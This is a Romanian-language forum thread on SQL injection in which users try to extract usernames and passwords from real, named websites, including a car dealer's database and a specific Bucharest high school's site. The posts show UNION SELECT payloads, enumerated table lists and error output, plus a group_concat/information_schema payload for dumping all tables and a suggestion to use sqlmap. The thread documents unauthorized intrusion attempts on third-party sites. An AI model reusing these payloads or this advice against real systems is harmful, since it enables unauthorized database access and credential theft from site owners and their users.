Jump to content
ZeroCold

[Tutorial]Sql injection

Recommended Posts

Am ramas "inzapezit" la ultimii doi pasi.Dupa ce am extras versiunea si restul,nu reusesc sa nimeresc tabelul corect de unde pot extrage username-ul si apoi password.

Astea sunt toate "tabels" (la cele boldate m-am gandit eu ca ar putea fii dar primesc eroare)



| |
|tables|
| |
| |

1,1 COLLATIONS
2,1 COLLATION_CHARACTER_SET_APPLICABILIT
3,1 COLUMNS
4,1 COLUMN_PRIVILEGES
5,1 ENGINES
6,1 EVENTS
7,1 FILES
8,1 GLOBAL_STATUS
9,1 GLOBAL_VARIABLES
10,1 KEY_COLUMN_USAGE
11,1 PARTITIONS
12,1 PLUGINS
13,1 PROCESSLIST
[COLOR="#FF0000"][B]14,1 PROFILING[/B][/COLOR]
15,1 REFERENTIAL_CONSTRAINTS
16,1 ROUTINES
17,1 SCHEMATA
18,1 SCHEMA_PRIVILEGES
19,1 SESSION_STATUS
20,1 SESSION_VARIABLES
21,1 STATISTICS
22,1 TABLES
23,1 TABLE_CONSTRAINTS
24,1 TABLE_PRIVILEGES
25,1 TRIGGERS
[COLOR="#FF0000"][B]26,1 USER_PRIVILEGES[/B][/COLOR]
27,1 VIEWS
28,1 categorii
29,1 produse

Eroarea asta persista atunci cand vreau sa extrag username-ul.Am cautat si folosit o tona de combinatii si degeaba.

select * from produse where id=-1 union all select 1,2,3,4,5,6,7,8,username,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from USER_PRIVILEGES--
Table 'eliteaut_eliteauto.USER_PRIVILEGES' doesn't exist

Explicati-mi care este tabelul corect.

Link to comment
Share on other sites

Am urmatorul site Siteul Liceului Teologic Adventist "Stefan Demetrescu", Bucuresti .

Am reusit sa aflu numele la cateva tabele si coloane...dar nu stiu care de unde sa le iau. Am incercat diferite combinatii, dar nimic.

Tind sa cred ca e vorba si de mai multe baze de date...

Cum as putea sa aflu si numele bazelor de date care sunt pe acest server mysql?

Link to comment
Share on other sites

la orice site pun "articole.php?articol=8" imi apare

Not Found

The requested URL /articole.php was not found on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

inseamna ca nu are vulnerabilitate nu ?

Link to comment
Share on other sites

Deci tu faci un request catre /articole.php care by default pointeaza catre un fisier cu numele `articole.php`. Tu crezi ca toate site-urile au un fisier `articole.php` ?

Incerca sa adaugi in loc de `articole.php` urmatorul:

%53%55%4e%54%20%55%4e%20%50%52%4f%53%54

si iti va arata tot despre tine ;)

Link to comment
Share on other sites

intrebare de incepator in asa ceva.

Am inteles faza cu limit limit 1,1-- 1,2-- si asa mai departe dar e destul de incomod la un site imens(100-200 de tabele) nu il putem face sa le scuipe pe toate odata intr-o lista?

@suciudx02

Fa unul cu sqlmap (5 minute maxim) si ca incepator fa-l manual sa vedem care-ti aduce satisfactie mai mare.

Edited by dede24ever
Link to comment
Share on other sites

Ca sa iti returneze toate tabelele poti folosi union+all+select+1,group_concat(table_name),3(cate coloane are si inlocuiesti coloana vulnerabila cu group_concat(table_name) ) from information_schema.tables where table_schema=database()--

Link to comment
Share on other sites

Guest
This topic is now closed to further replies.


×
×
  • Create New...